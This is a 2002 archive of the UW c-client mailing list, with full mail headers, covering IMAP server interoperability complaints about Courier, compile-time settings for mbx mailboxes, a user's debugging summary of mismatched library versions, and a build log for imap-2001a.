15:45:15 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HMjFZB016515 for ; Wed, 17 Apr 2002 15:45:15 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HMjE8J005265 for ; Wed, 17 Apr 2002 15:45:14 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Wed Apr 17 15:45:13 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HMjDkx001989 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Wed, 17 Apr 2002 15:45:13 -0700 Message-Id: Date: Wed, 17 Apr 2002 15:45:14 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dag Nygren Cc: Michael stergaard Pedersen , Subject: Re: IMAP messages "disappear" In-Reply-To: <20020417210052.10717.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 18 Apr 2002, Dag Nygren wrote: > > My setup is: > > Courier-IMAP 1.4.1 > > C-Client: CVS-Snapshot from 10-01-2002 (have also tried others) > > PHP 4.1.1 > > IMP 3.0 > > My problem is that when I log on to IMP using an IMAP server, I can see the > > new messages in my Inbox. As soon as I click one of them I'm told that the > > message does not exist and all new messages "disappear". > I see the same problem with IMP 3.0 and IMAP and just traced it down > to IMP using the "SORT" imap command and this seems to behave > strangely. I strongly suggest that you try some IMAP server other than Courier. If the problem goes away (and I suspect it will) with some non-Courier IMAP server, then you know that the problem is in Courier. Courier does not implement IMAP. It implements what the author of Courier thinks IMAP should be, which is somewhat different from the IMAP specification. I gave up on him a long time ago, and I'm not particularly interested in wasting any more time going through the cycle of: 1) problem gets reported to me 2) I respond that it's due to a wrong thing that Courier does 3) the author of Courier insists that I am wrong 4) I quote the section of the IMAP specification that Courier violates 5) the author of Courier calls me an idiot, and says that the IMAP specification is wrong -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Apr 17 18:43:43 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Apr 2002 18:43:43 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1hgXG025657 for ; Wed, 17 Apr 2002 18:43:43 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Apr 17 18:43:42 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3I1hgmT010954; Wed, 17 Apr 2002 18:43:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1gcqt017640; Wed, 17 Apr 2002 18:42:38 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HNCSDN095664 for ; Wed, 17 Apr 2002 16:12:28 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Apr 17 16:12:26 2002 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HNCQc6003608 for ; Wed, 17 Apr 2002 16:12:26 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Apr 17 16:12:26 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HNCQPs026135 for ; Wed, 17 Apr 2002 16:12:26 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HNCPFJ022778 for ; Wed, 17 Apr 2002 16:12:25 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Wed Apr 17 16:12:24 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HNCOkx002309 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Wed, 17 Apr 2002 16:12:24 -0700 Message-Id: Date: Wed, 17 Apr 2002 16:12:25 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@CAC.Washington.EDU Subject: Re: Current uw-imap question In-Reply-To: <6D413646-524E-11D6-94EC-0005025E566F@antsclimbtree.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 17 Apr 2002, Mark Edwards wrote: > I'm about to build a new uw-imap for a new machine, and I'm curious if > anything has changed in the last year or so with how imapd handles > mailboxes. No. > It still does unix format by default, and if you have an mbox INBOX in a > user's home, it uses mbox? > You still have to change the default format in the source to mbox if you > want new mailboxes to use mbox? I assume that you mean "mbx" and not "mbox"; and if so the answer is "yes". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Apr 17 18:44:48 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Apr 2002 18:44:47 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1ilXG025669 for ; Wed, 17 Apr 2002 18:44:47 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Apr 17 18:44:46 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3I1ikPs030179; Wed, 17 Apr 2002 18:44:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1iBeo019118; Wed, 17 Apr 2002 18:44:11 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1OmDN078648 for ; Wed, 17 Apr 2002 18:24:48 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Apr 17 18:24:39 2002 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1OdZB020380 for ; Wed, 17 Apr 2002 18:24:39 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Apr 17 18:24:38 2002 -0700 Received: from antsclimbtree.com (dsl-64-130-38-189.telocity.com [64.130.38.189]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3I1OYPs029773; Wed, 17 Apr 2002 18:24:38 -0700 Received: from mrtoads.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by antsclimbtree.com (8.11.6/8.11.6) with ESMTP id g3I1PIq02140; Wed, 17 Apr 2002 18:25:18 -0700 (PDT) (envelope-from mark@antsclimbtree.com) Message-Id: <092B7740-526B-11D6-94EC-0005025E566F@antsclimbtree.com> Date: Wed, 17 Apr 2002 18:24:32 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: Re: Current uw-imap question In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v481) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wednesday, April 17, 2002, at 04:12 PM, Mark Crispin wrote: > On Wed, 17 Apr 2002, Mark Edwards wrote: >> I'm about to build a new uw-imap for a new machine, and I'm curious if >> anything has changed in the last year or so with how imapd handles >> mailboxes. > > No. > >> It still does unix format by default, and if you have an mbox INBOX >> in a >> user's home, it uses mbox? >> You still have to change the default format in the source to mbox if >> you >> want new mailboxes to use mbox? > > I assume that you mean "mbx" and not "mbox"; and if so the answer is > "yes". > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. I actually do have a couple more questions. If INBOX is in mbx format, will imapd use mbx for the creation of any additional mailboxes, or do I have to tweak the source to make the default creation format mbx? Other than setting the directory to ~/mail and setting imapd to use mbx format, are there any other compile-time tweaks you would recommend I consider to run a regular old imap server on OSX? I think that's all, but maybe I'm overlooking something. Thanks again. From pinedev@shivax2.cac.washington.edu Wed Apr 17 18:45:25 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Apr 2002 18:45:25 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1jPXG025684 for ; Wed, 17 Apr 2002 18:45:25 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Apr 17 18:45:23 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3I1jNmT010980; Wed, 17 Apr 2002 18:45:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1imlZ005888; Wed, 17 Apr 2002 18:44:49 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1Y1DN025284 for ; Wed, 17 Apr 2002 18:34:01 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Apr 17 18:34:00 2002 -0700 Received: from sina.com ([202.108.35.245]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I1XxIe001582 for ; Wed, 17 Apr 2002 18:34:00 -0700 Received: (qmail 8368 invoked by uid 99); 18 Apr 2002 01:24:10 -0000 Message-Id: <20020418012410.8367.qmail@sina.com> Date: Thu, 18 Apr 2002 09:24:10 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: 288588 <288588@sina.com> To: c-client@u.washington.edu Subject: unsubscribe MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------10190930508356SINAEMAIL---" X-Priority: 3 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------------10190930508356SINAEMAIL--- Content-Disposition: inline Content-Transfer-Encoding: binary Content-Type: text/plain;charset="gb2312" unsubscribe c-client ______________________________________ =================================================================== ÐÂÀËÃâ·Ñµç×ÓÓÊÏä (http://mail.sina.com.cn) ÐÂÀË·ÖÀàÐÅÏ¢£º¶þÊÖÊг¡×ßÒ»×ߣ¬¸Ã³öÊÖʱ¾Í³öÊÖ£¡ (http://classad.sina.com.cn/2shou/) ------------10190930508356SINAEMAIL--- Content-Type: message/rfc822;name="FWD_attachment.eml" Content-Transfer-Encoding: 7bit Content-Disposition: attachment;filename="FWD_attachment.eml" Return-Path: 288588<288588@sina.com> From: 288588<288588@sina.com> To: majordomo@cac.washington.edu Subject: unsubscribe MIME-Version: 1.0 Date: Wed, 17 Apr 2002 12:21:20 +0800 X-Mailer: SinaMail 3.0Beta (FireToad) X-Priority: 3 unsubscribe pine-info ______________________________________ =================================================================== ÐÂÀËÃâ·Ñµç×ÓÓÊÏä (http://mail.sina.com.cn) ÐÂÀË·ÖÀàÐÅÏ¢£º¶þÊÖÊг¡×ßÒ»×ߣ¬¸Ã³öÊÖʱ¾Í³öÊÖ£¡ (http://classad.sina.com.cn/2shou/) ------------10190930508356SINAEMAIL----- From pinedev@shivax2.cac.washington.edu Wed Apr 17 19:50:05 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Apr 2002 19:50:05 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I2o5XG026731 for ; Wed, 17 Apr 2002 19:50:05 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Apr 17 19:50:04 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3I2o4mT012124; Wed, 17 Apr 2002 19:50:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I2nJqt017510; Wed, 17 Apr 2002 19:49:19 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I2mBDN076574 for ; Wed, 17 Apr 2002 19:48:11 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Apr 17 19:48:10 2002 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I2mAIe013145 for ; Wed, 17 Apr 2002 19:48:10 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Apr 17 19:48:09 2002 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3I2m9mT012093 for ; Wed, 17 Apr 2002 19:48:09 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I2m9MQ019263 for ; Wed, 17 Apr 2002 19:48:09 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Wed Apr 17 19:48:07 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3I2m7kx004737 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Wed, 17 Apr 2002 19:48:07 -0700 Message-Id: Date: Wed, 17 Apr 2002 19:48:08 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@CAC.Washington.EDU Subject: Re: Current uw-imap question In-Reply-To: <092B7740-526B-11D6-94EC-0005025E566F@antsclimbtree.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 17 Apr 2002, Mark Edwards wrote: > If INBOX is in mbx format, will imapd use mbx for the creation of any > additional mailboxes, or do I have to tweak the source to make the > default creation format mbx? The latter; you have to set CREATEPROTO=mbxproto in the Makefile. > Other than setting the directory to ~/mail and setting imapd to use mbx > format, are there any other compile-time tweaks you would recommend I > consider to run a regular old imap server on OSX? Other than building with Kerberos and SSL, no. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Apr 18 02:32:39 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Apr 2002 02:32:39 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I9WdXG003135 for ; Thu, 18 Apr 2002 02:32:39 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Apr 18 02:32:33 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3I9WWmT019377; Thu, 18 Apr 2002 02:32:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I9VplZ014418; Thu, 18 Apr 2002 02:31:51 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I9UMDN023622 for ; Thu, 18 Apr 2002 02:30:22 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Apr 18 02:30:21 2002 -0700 Received: from dag.newtech.fi (ip213-185-39-113.laajakaista.mtv3.fi [213.185.39.113]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3I9UJZB027624 for ; Thu, 18 Apr 2002 02:30:19 -0700 Received: (qmail 10500 invoked by uid 200); 18 Apr 2002 09:30:13 -0000 Message-Id: <20020418093013.10499.qmail@dag.newtech.fi> Date: Thu, 18 Apr 2002 12:30:13 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: Mark Crispin Cc: Dag Nygren , Michael stergaard Pedersen , c-client@u.washington.edu Subject: Re: IMAP messages "disappear" (Summary) In-Reply-To: Message from Mark Crispin of "Wed, 17 Apr 2002 15:45:14 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi again, found the problem(s) and thought that everybody would be interested in the result and perhaps learn from it. The problem was that IMP3.0 didn't show any messages, just said that ther= e were n messages, but no header info at all. First a want to clear the makers of both IMAP and IMP from all accusations (?), it was NOT their faults. Checking the traffic between IMP and IMAPD (ethereal is a very good tool for this BTW) after putting in some debug statements in the imapd mailbox driver showed that IMP3.0 was using a UID SORT command and that IMAPD never answered this. What took me some time to find out was that imapd actually crashed and there was no traces of this. Using imapd through gdb showed me that the culprit was the format string of my debug statement trying to sprintf() an interger with a %s, ehhhh..... Fixing that I still got no headers, but now the traffic between IMP and I= MAPD looked sane, and was indeed reading the headers. Mr. Michael stergaard Pedersen mailed me and told me that he had seen the same problems with some versions of imapd and suggested imapd-2000c. As I have patched my imapd-4.7.2c to recognize MH-inboxes I didn't really want to change that and though I would find out the reason instead= =2E I traced the problem down to a PHP-call to imap_fetch_overview, which rea= lly did not return anything. After a lot of tracing and filling up system logs I thought of one thing:= Versions. Checking what version of mail.h and libc-client.a my PHP-4.1.2 compilatio= n used I found out that they were definitely not using the 4.7.2c version a= nd = additionally the version of the two files didn't even match.... Fixing that and recompiling PHP fixed the problem ! The moral of the story: - Perhaps Mark could provide a "make install" that updates all the files = in = the system: imapd, mail.h (or newer) and the library ? At least echo a reminder to = make = sure that they match. - When installing a new version of something ALWAYS make sure that there = is = nothing old lying around (knew that ;-) ) Anyway IMP3.0 works fine now :-))) BRGDS = -- = Dag Nygren email: dag@newtech.fi Oy Espoon NewTech Ab phone: +358 9 8024910 Tr=E4sktorpet 3 fax: +358 9 8024916 02360 ESBO Mobile: +358 400 426312 FINLAND From pinedev@shivax2.cac.washington.edu Fri Apr 19 05:34:49 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Apr 2002 05:34:49 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JCYnXG000714 for ; Fri, 19 Apr 2002 05:34:49 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Apr 19 05:34:48 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3JCYlmT028499; Fri, 19 Apr 2002 05:34:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JCXxlZ014534; Fri, 19 Apr 2002 05:33:59 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JCUeDN111776 for ; Fri, 19 Apr 2002 05:30:40 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Apr 19 05:30:39 2002 -0700 Received: from metis.kasserver.com (metis.kasserver.com [217.110.252.110]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3JCUcZB014177 for ; Fri, 19 Apr 2002 05:30:38 -0700 Received: (from uucp@localhost) by metis.kasserver.com (8.11.6/8.11.6/SuSE Linux 0.5) id g3JCUNb06011 for ; Fri, 19 Apr 2002 14:30:23 +0200 Received: from A7e09.pppool.de(213.6.126.9), claiming to be "altmann.li" via SMTP by metis.kasserver.com, id smtpdOoJej3; Fri Apr 19 12:30:16 2002 Message-Id: <3CC00E2F.2DD03B39@altmann.li> Date: Fri, 19 Apr 2002 14:31:43 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: achim altmann To: c-client@u.washington.edu Subject: imap-2001 compile-error MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Sender: aa@metis.kasserver.com X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hallo, i think this mailinglist is my last chance to compile uw-imap My components are the follows. redhat 7.2 openssl-0.9.6c imap-2001a when i use the options make lrh or make lnp SSLTYPE=unix or make slx SSLTYPE=unix everytime come the same problem The make meassage is the follow `cat CCTYPE` -c `cat CFLAGS` tenex.c `cat CCTYPE` -c `cat CFLAGS` mtx.c `cat CCTYPE` -c `cat CFLAGS` news.c news.c: In function `news_open': news.c:300: warning: passing arg 3 of `scandir' from incompatible pointer type `cat CCTYPE` -c `cat CFLAGS` phile.c `cat CCTYPE` -c `cat CFLAGS` mh.c mh.c: In function `mh_ping': mh.c:639: warning: passing arg 3 of `scandir' from incompatible pointer type mh.c: In function `mh_append': mh.c:896: warning: passing arg 3 of `scandir' from incompatible pointer type `cat CCTYPE` -c `cat CFLAGS` mx.c mx.c: In function `mx_ping': mx.c:582: warning: passing arg 3 of `scandir' from incompatible pointer type sh -c 'rm -rf c-client.a || true' ar rc c-client.a mail.o misc.o newsrc.o smanager.o osdep.o utf8.o siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o;ranlib c-clien .a make[3]: Verlassen des Verzeichnisses Verzeichnis »/usr/local/src/imap-2001a_ssl/c-client« make[2]: Verlassen des Verzeichnisses Verzeichnis »/usr/local/src/imap-2001a_ssl/c-client« echo lnp > OSTYPE touch rebuild sh -c 'rm -rf rebuild || true' Building bundled tools... cd mtest;make make[2]: Wechsel in das Verzeichnis Verzeichnis »/usr/local/src/imap-2001a_ssl/mtest« `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c -o mtest.o mtest.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o mtest mtest.o ../c-client/c-client.a `cat ../c-client/L FLAGS` ../c-client/c-client.a(osdep.o): In function `ssl_onceonlyinit': /usr/local/src/imap-2001a_ssl/c-client/osdep.c:286: the use of `tmpnam' is dangerous, better use `mkstemp' mtest.o: In function `mm_login': /usr/local/src/imap-2001a_ssl/mtest/mtest.c:517: the `gets' function is dangerous and should not be used. make[2]: Verlassen des Verzeichnisses Verzeichnis »/usr/local/src/imap-2001a_ssl/mtest« cd ipopd;make make[2]: Wechsel in das Verzeichnis Verzeichnis »/usr/local/src/imap-2001a_ssl/ipopd« `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c -o ipop2d.o ipop2d.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o ipop2d ipop2d.o ../c-client/c-client.a `cat ../c-client LDFLAGS` ../c-client/c-client.a(osdep.o): In function `ssl_onceonlyinit': /usr/local/src/imap-2001a_ssl/c-client/osdep.c:286: the use of `tmpnam' is dangerous, better use `mkstemp' `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c -o ipop3d.o ipop3d.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o ipop3d ipop3d.o ../c-client/c-client.a `cat ../c-client LDFLAGS` ../c-client/c-client.a(osdep.o): In function `ssl_onceonlyinit': /usr/local/src/imap-2001a_ssl/c-client/osdep.c:286: the use of `tmpnam' is dangerous, better use `mkstemp' make[2]: Verlassen des Verzeichnisses Verzeichnis »/usr/local/src/imap-2001a_ssl/ipopd« cd imapd;make make[2]: Wechsel in das Verzeichnis Verzeichnis »/usr/local/src/imap-2001a_ssl/imapd« `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -DANOFILE=\"/etc/anonymous.newsgroups\" -DALERTFILE=\" etc/imapd.alert\" -DUSERALERTFILE=\".imapalert\" -DSHUTDOWNFILE=\"/etc/nologin\" -c -o imapd.o imapd.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -DANOFILE=\"/etc/anonymous.newsgroups\" -DALERTFILE=\" etc/imapd.alert\" -DUSERALERTFILE=\".imapalert\" -DSHUTDOWNFILE=\"/etc/nologin\" -o imapd imapd.o ../c-client/c-client.a ` at ../c-client/LDFLAGS` ../c-client/c-client.a(osdep.o): In function `ssl_onceonlyinit': /usr/local/src/imap-2001a_ssl/c-client/osdep.c:286: the use of `tmpnam' is dangerous, better use `mkstemp' make[2]: Verlassen des Verzeichnisses Verzeichnis »/usr/local/src/imap-2001a_ssl/imapd« make[1]: Verlassen des Verzeichnisses Verzeichnis »/usr/local/src/imap-2001a_ssl« Please!! Can help me? Thanks a lot for help by and best reagards Achim -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 19 06:54:31 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Apr 2002 06:54:31 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JDsUXG003129 for ; Fri, 19 Apr 2002 06:54:30 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Apr 19 06:54:30 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3JDsTPs017450; Fri, 19 Apr 2002 06:54:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JDraR8010114; Fri, 19 Apr 2002 06:53:36 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3JDq7DN090822 for ; Fri, 19 Apr 2002 06:52:07 -0700 